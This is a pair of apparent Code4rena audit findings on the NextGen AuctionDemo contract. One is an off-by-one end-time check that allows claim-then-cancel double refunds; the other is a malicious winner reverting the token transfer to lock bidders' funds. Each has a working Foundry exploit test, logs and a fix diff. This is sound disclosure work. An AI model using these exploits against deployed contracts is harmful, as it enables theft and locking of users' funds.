NextGen - bdmcbri's results

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L105

Vulnerability details

Impact

An attacker with good timing can steal all the funds in the auctionDemo contract, including funds for other auctions. The bounds check on the auction end time in claimAuction is incorrect and in certain circumstances allows an attacker to claim the token as the winning bid, refund losing bids (including the attacker's own bids), AND still call cancelAllBids to get refunded a second time. The attack is cheap to try as the failure case results in a refund of eth bid and only costs gas.

The incorrect check is the require(block.timestamp >= minter.getAuctionEndTime(_tokenid) on L105:

    function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
        require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
        auctionClaim[_tokenid] = true;
        uint256 highestBid = returnHighestBid(_tokenid);
        address ownerOfToken = IERC721(gencore).ownerOf(_tokenid);
        address highestBidder = returnHighestBidder(_tokenid);
        for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
            if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
                IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
                (bool success, ) = payable(owner()).call{value: highestBid}("");
                emit ClaimAuction(owner(), _tokenid, success, highestBid);
            } else if (auctionInfoData[_tokenid][i].status == true) {
                (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
                emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
            } else {}
        }
    }

This check should instead be:

       require(block.timestamp > minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);

Proof of Concept

There are compounding issues (including reentrancy on the token transfer) that can aid an attacker in optimizing the theft of funds, but they are not strictly necessary. In the simplest scenario when block.timestamp == minter.getAuctionEndTime(_tokenid) an attacker does the following steps:

1. Call participateToAuction() once to make the new highest bid. The amount of ether bid here will be doubled by the flaw and can be adjusted to maximize the theft of funds.
2. Call participateToAuction() a second time to be the highest bidder.
3. Call claimAuction as the winner. This will transfer the 721 token to attacker and refund all losers, but .status member isn't set.
4. Call cancelAllBids to get refunded again. Any of the attacker's bids will get double paid as long as there are sufficient funds in the auction contract. As return values in the call to send ether is not checked, failures due to lack of funds won't revert.

Other attack orderings are possible using reentrancy to steal the funds and the token, without the token owner getting paid. However, this scenario only hinges on the incorrect bounds check.

It is also possible for a losing bidder to trigger the bug by calling cancelAllBids in the same block that the auction was claimed in, provided the auction was claimed when block.timestamp == minter.getAuctionEndTime. A sore loser could try this trivially by taking advantage of the reentrancy when transferring eth to losing bidders in claimAuction.

PoC test

Create test/AuctionDemoWinner.t.sol and run forge test --match-test test_getAuctionEndTime_bounds_check.

pragma solidity ^0.8.21;

import "forge-std/Test.sol";
import "forge-std/interfaces/IERC20.sol";

import "../smart-contracts/NextGenAdmins.sol";
import "../smart-contracts/XRandoms.sol";
import "../smart-contracts/NextGenCore.sol";
import "../smart-contracts/NextGenCore.sol";
import "../smart-contracts/RandomizerNXT.sol";
import "../smart-contracts/NFTdelegation.sol";
import "../smart-contracts/MinterContract.sol";

import "../smart-contracts/AuctionDemo.sol";

contract Attacker is Test {
    function onERC721Received(address sender, address from, uint256 tokenId, bytes memory data) external returns (bytes4 retval) {
        console2.log("Attacker received ERC721: %d", tokenId);
        return this.onERC721Received.selector;
    }

    receive() external payable {}
}

contract TestExploit is Test {
    address public bob = address(0xb0b);
    address public artist = address(0x123456);
    NextGenAdmins public nextGenAdmins;
    randomPool public xRandoms;
    NextGenCore public gencore;
    NextGenRandomizerNXT public randomizer;
    DelegationManagementContract public del;
    NextGenMinterContract public minter;

    //Auction specific
    auctionDemo public demo;
    uint256 public token_to_auction;

    function onERC721Received(address sender, address from, uint256 tokenId, bytes memory data) external returns (bytes4 retval) {
        //Approve the AuctionDemo contract to spend tokenId
        gencore.approve(address(demo), tokenId);
        token_to_auction = tokenId;

        return this.onERC721Received.selector;
    }

    function setUp() public {
        vm.chainId(1);
        vm.createSelectFork("https://eth.llamarpc.com"); 

        vm.startPrank(bob); //bob is the owner of this deployment
        //Deployment:
        nextGenAdmins = new NextGenAdmins();
        xRandoms = new randomPool();
        gencore = new NextGenCore("Foo", "Bar", address(nextGenAdmins));
        randomizer = new NextGenRandomizerNXT(address(xRandoms), address(nextGenAdmins), address(gencore));
        del = new DelegationManagementContract();
        minter = new NextGenMinterContract(address(gencore), address(del), address(nextGenAdmins));

        //Setup a collection ready for minting
        //Taken from nextGen.test.js (mostly)
        string[] memory script = new string[](1);
        script[0] = "desc";
        gencore.createCollection("Test Collection 1","Artist 1","For testing","www.test.com","CCO","https://ipfs.io/ipfs/hash/","",script);
        gencore.setCollectionData(
            1, // _collectionID
            artist, // _collectionArtistAddress
            2, // _maxCollectionPurchases
            10000, // _collectionTotalSupply
            0 // _setFinalSupplyTimeAfterMint
            );
        gencore.addRandomizer(1, address(randomizer));
        gencore.addMinterContract(address(minter));
        minter.setCollectionCosts(
        1, // _collectionID
        0, // _collectionMintCost
        0, // _collectionEndMintCost
        0, // _rate
        1, // _timePeriod - XXX changed from 0
        1, // _salesOptions
        address(0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B) // delAddress
        );
        minter.setCollectionPhases(
          1, // _collectionID
          1696931278, // _allowlistStartTime
          1696931278, // _allowlistEndTime
          1696931278, // _publicStartTime
          1796931278, // _publicEndTime
          bytes32(0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870) // _merkleRoot
        );

        //Initialize an auction
        demo = new auctionDemo(address(minter), address(gencore), address(nextGenAdmins));
        minter.mintAndAuction(address(this), "hello world", 0, 1, block.timestamp + 60);
        vm.stopPrank(); //bob
    }

    function test_getAuctionEndTime_bounds_check() public {
        Attacker attacker = new Attacker();
        require(block.timestamp < minter.getAuctionEndTime(token_to_auction));
        //deal some eth to the AuctionDemo contract (as if there were other auctions with ongoing bids)
        vm.deal(address(demo), 150 ether);
        //deal some eth to the bidders
        vm.deal(address(attacker), 110 ether);

        console2.log("auctionDemo eth balance: %d", address(demo).balance);
        console2.log("attacker eth balance: %d", address(attacker).balance);
        uint256 attacker_beginning_balance = address(attacker).balance;
        
        //attacker bids at the right time
        console2.log("Attacker bids at the right time to claim the token AND cancelAllbids!");
        vm.warp(minter.getAuctionEndTime(token_to_auction));
        vm.startPrank(address(attacker));

        demo.participateToAuction{value: 10 ether}(token_to_auction);     //This bid will get returned, but doubled!
        demo.participateToAuction{value: 11 ether}(token_to_auction);     //This will be the winning bid

        demo.claimAuction(token_to_auction);    //attacker can call because they are the winning bid
        demo.cancelAllBids(token_to_auction);   //This should not be possible as the token has already been claimed and losing bids already refunded!!!
        vm.stopPrank();

        console2.log("auctionDemo eth balance: %d", address(demo).balance);
        console2.log("attacker eth balance: %d", address(attacker).balance);
        console2.log("attacker profit = %d", address(attacker).balance - attacker_beginning_balance);
    }

}

Logs:
  auctionDemo eth balance: 150000000000000000000
  attacker eth balance: 110000000000000000000
  Attacker bids at the right time to claim the token AND cancelAllbids!
  Attacker received ERC721: 10000000000
  auctionDemo eth balance: 129000000000000000000
  attacker eth balance: 120000000000000000000
  attacker profit = 10000000000000000000

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 6.93s

Tools Used

VScode. Foundry for testing.

Recommended Mitigation Steps

1. In claimAuction, change require(block.timestamp >= minter.getAuctionEndTime(_tokenid) ... to require(block.timestamp > minter.getAuctionEndTime(_tokenid) ...
2. In claimAuction, before transferring the NFT to the winner or refunding the bid, set auctionInfoData[_tokenid][i].status = false.

The below diff fixes this issue:

diff --git a/smart-contracts/AuctionDemo.sol b/smart-contracts/AuctionDemo.sol
index 95533fb..7db3710 100644
--- a/smart-contracts/AuctionDemo.sol
+++ b/smart-contracts/AuctionDemo.sol
@@ -102,17 +102,19 @@ contract auctionDemo is Ownable {
     // claim Token After Auction

     function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
-        require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
+        require(block.timestamp > minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
         auctionClaim[_tokenid] = true;
         uint256 highestBid = returnHighestBid(_tokenid);
         address ownerOfToken = IERC721(gencore).ownerOf(_tokenid);
         address highestBidder = returnHighestBidder(_tokenid);
         for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
             if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
+                auctionInfoData[_tokenid][i].status = false;
                 IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
                 (bool success, ) = payable(owner()).call{value: highestBid}("");
                 emit ClaimAuction(owner(), _tokenid, success, highestBid);
             } else if (auctionInfoData[_tokenid][i].status == true) {
+                auctionInfoData[_tokenid][i].status = false;
                 (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
                 emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
             } else {}

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L112

Vulnerability details

Impact

A malicious (or buggy) auction winner can refuse to accept the token and cause all bidders' funds to be locked in the auctionDemo contract. After the auction closes, the winner or admin can call claimAuction to initiate the transfer of the token to the winning bidder, the transfer of eth to the token owner, and the refunding of the losers bids. However, if the call to safeTransferFrom reverts for some reason (e.g. a malicious onERC721Received handler), then claimAuction will revert and all the funds will be locked in the auctionDemo contract. After the auction ends there is no other mechanism for funds to be transferred from the contract.

Proof of Concept

The call to IERC721(gencore).safeTransferFrom in L112 can revert. A malicious winner can lock the funds as claimAuction is also responsible for refunding losing bids:

    function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
        require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
        auctionClaim[_tokenid] = true;
        uint256 highestBid = returnHighestBid(_tokenid);
        address ownerOfToken = IERC721(gencore).ownerOf(_tokenid);
        address highestBidder = returnHighestBidder(_tokenid);
        for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
            if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
                IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
                (bool success, ) = payable(owner()).call{value: highestBid}("");
                emit ClaimAuction(owner(), _tokenid, success, highestBid);
            } else if (auctionInfoData[_tokenid][i].status == true) {
                (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
                emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
            } else {}
        }
    }

safeTransferFrom will eventually call _safeTransfer in ERC721.sol:

    function _safeTransfer(address from, address to, uint256 tokenId, bytes memory data) internal virtual {
        _transfer(from, to, tokenId);
        require(_checkOnERC721Received(from, to, tokenId, data), "ERC721: transfer to non ERC721Receiver implementer");
    }

If _checkOnERC721Received returns false or reverts, then the transfer will revert:

    function _checkOnERC721Received(
        address from,
        address to,
        uint256 tokenId,
        bytes memory data
    ) private returns (bool) {
        if (to.isContract()) {
            try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, data) returns (bytes4 retval) {
                return retval == IERC721Receiver.onERC721Received.selector;
            } catch (bytes memory reason) {
                if (reason.length == 0) {
                    revert("ERC721: transfer to non ERC721Receiver implementer");
                } else {
                    /// @solidity memory-safe-assembly
                    assembly {
                        revert(add(32, reason), mload(reason))
                    }
                }
            }
        } else {
            return true;
        }
    }

A malicious winner could easily force this condition via the onERC721Received

    function onERC721Received(address sender, address from, uint256 tokenId, bytes memory data) external returns (bytes4 retval) {
        console2.log("Attacker won the auction, but refuses the token");
        return 0;
    }

PoC Tests

Create test/AuctionDemoMaliciousWinner.t.sol and run forge test --match-test test_attackerDeniesLosingBidRefunds.

pragma solidity ^0.8.21;

import "forge-std/Test.sol";
import "forge-std/interfaces/IERC20.sol";

import "../smart-contracts/NextGenAdmins.sol";
import "../smart-contracts/XRandoms.sol";
import "../smart-contracts/NextGenCore.sol";
import "../smart-contracts/NextGenCore.sol";
import "../smart-contracts/RandomizerNXT.sol";
import "../smart-contracts/NFTdelegation.sol";
import "../smart-contracts/MinterContract.sol";

import "../smart-contracts/AuctionDemo.sol";

contract Attacker2 is Test {
    function onERC721Received(address sender, address from, uint256 tokenId, bytes memory data) external returns (bytes4 retval) {
        console2.log("Attacker won the auction, but refuses the token");
        return 0;
    }

    receive() external payable {}
}

contract TestExploit is Test {
    address public bob = address(0xb0b);
    address public artist = address(0x123456);
    NextGenAdmins public nextGenAdmins;
    randomPool public xRandoms;
    NextGenCore public gencore;
    NextGenRandomizerNXT public randomizer;
    DelegationManagementContract public del;
    NextGenMinterContract public minter;

    //Auction specific
    auctionDemo public demo;
    uint256 public token_to_auction;
    address public bidder1 = address(0x1111111111);
    address public bidder2 = address(0x2222222222);

    function onERC721Received(address sender, address from, uint256 tokenId, bytes memory data) external returns (bytes4 retval) {
        //Approve the AuctionDemo contract to spend tokenId
        gencore.approve(address(demo), tokenId);
        token_to_auction = tokenId;

        return this.onERC721Received.selector;
    }
    function setUp() public {
        vm.chainId(1);
        vm.createSelectFork("https://eth.llamarpc.com"); 

        vm.startPrank(bob); //bob is the owner of this deployment
        //Deployment:
        nextGenAdmins = new NextGenAdmins();
        xRandoms = new randomPool();
        gencore = new NextGenCore("Foo", "Bar", address(nextGenAdmins));
        randomizer = new NextGenRandomizerNXT(address(xRandoms), address(nextGenAdmins), address(gencore));
        del = new DelegationManagementContract();
        minter = new NextGenMinterContract(address(gencore), address(del), address(nextGenAdmins));

        //Setup a collection ready for minting
        //Taken from nextGen.test.js
        string[] memory script = new string[](1);
        script[0] = "desc";
        gencore.createCollection("Test Collection 1","Artist 1","For testing","www.test.com","CCO","https://ipfs.io/ipfs/hash/","",script);
        gencore.setCollectionData(
            1, // _collectionID
            artist, // _collectionArtistAddress
            2, // _maxCollectionPurchases
            10000, // _collectionTotalSupply
            0 // _setFinalSupplyTimeAfterMint
            );
        gencore.addRandomizer(1, address(randomizer));
        gencore.addMinterContract(address(minter));

        minter.setCollectionCosts(
        1, // _collectionID
        0, // _collectionMintCost
        0, // _collectionEndMintCost
        0, // _rate
        1, // _timePeriod - XXX changed from 0
        1, // _salesOptions
        address(0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B) // delAddress
        );

        minter.setCollectionPhases(
          1, // _collectionID
          1696931278, // _allowlistStartTime
          1696931278, // _allowlistEndTime
          1696931278, // _publicStartTime
          1796931278, // _publicEndTime
          bytes32(0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870) // _merkleRoot
        );

        //Initialize an auction
        demo = new auctionDemo(address(minter), address(gencore), address(nextGenAdmins));
        minter.mintAndAuction(address(this), "hello world", 0, 1, block.timestamp + 60);
        vm.stopPrank(); //bob
    }

    function test_attackerDeniesLosingBidRefunds() public {
        Attacker2 attacker = new Attacker2();
        require(block.timestamp < minter.getAuctionEndTime(token_to_auction));

        //deal some eth to the bidders
        vm.deal(bidder1, 3 ether);
        vm.deal(address(attacker), 5 ether);

        console2.log("auctionDemo eth balance: %d", address(demo).balance);
        console2.log("bidder1 eth balance: %d", bidder1.balance);
        console2.log("attacker eth balance: %d", address(attacker).balance);

        //bidder1 bids some
        vm.prank(bidder1);
        demo.participateToAuction{value:3 ether}(token_to_auction);
        
        //attacker bids the winner
        vm.prank(address(attacker));
        demo.participateToAuction{value:5 ether}(token_to_auction);

        //Auction is over:
        vm.warp(minter.getAuctionEndTime(token_to_auction) + 1);
        vm.startPrank(bob); //bob is the auction owner and admin
        //claimAuction to send token to winner and refund losers.
        //This fails as the attacker triggers a revert in by failing onERC721Received() when the token is sent
        vm.expectRevert();
        demo.claimAuction(token_to_auction);
        vm.stopPrank();

        //bidders are unable to cancelBids (as the auction is over!)
        vm.startPrank(bidder1);
        vm.expectRevert();
        demo.cancelAllBids(token_to_auction);
        vm.stopPrank();

        console2.log("Funds are locked in the auctionDemo contract, and bidders are out of luck (and funds)!");
        console2.log("auctionDemo eth balance: %d", address(demo).balance);
        console2.log("bidder1 eth balance: %d", bidder1.balance);
    }
}

[PASS] test_attackerDeniesLosingBidRefunds() (gas: 684059)
Logs:
  auctionDemo eth balance: 0
  bidder1 eth balance: 3000000000000000000
  attacker eth balance: 5000000000000000000
  Attacker won the auction, but refuses the token
  Funds are locked in the auctionDemo contract, and bidders are out of luck (and funds)!
  auctionDemo eth balance: 8000000000000000000
  bidder1 eth balance: 0

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 88.91s

Tools Used

VScode. Foundry

Recommended Mitigation Steps

Execute the safeTransferFrom in a try statement. If it reverts, then refund the winner (don't pay the token owner as the token isn't transferred) and continue to refund the losers.

The below diff fixes the issue:

diff --git a/smart-contracts/AuctionDemo.sol b/smart-contracts/AuctionDemo.sol
index 95533fb..b1e8d0b 100644
--- a/smart-contracts/AuctionDemo.sol
+++ b/smart-contracts/AuctionDemo.sol
@@ -109,9 +109,15 @@ contract auctionDemo is Ownable {
         address highestBidder = returnHighestBidder(_tokenid);
         for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
             if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
-                IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
-                (bool success, ) = payable(owner()).call{value: highestBid}("");
-                emit ClaimAuction(owner(), _tokenid, success, highestBid);
+                try IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid) {
+                    (bool success, ) = payable(owner()).call{value: highestBid}("");
+                    emit ClaimAuction(owner(), _tokenid, success, highestBid);
+                } catch {
+                    //transfer failed. refund the highestBidder and continue to refund losing bidders
+                    (bool success, ) = payable(highestBidder).call{value: highestBid}("");
+                    emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
+                }
+
             } else if (auctionInfoData[_tokenid][i].status == true) {
                 (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
                 emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid)

Assessed type

Token-Transfer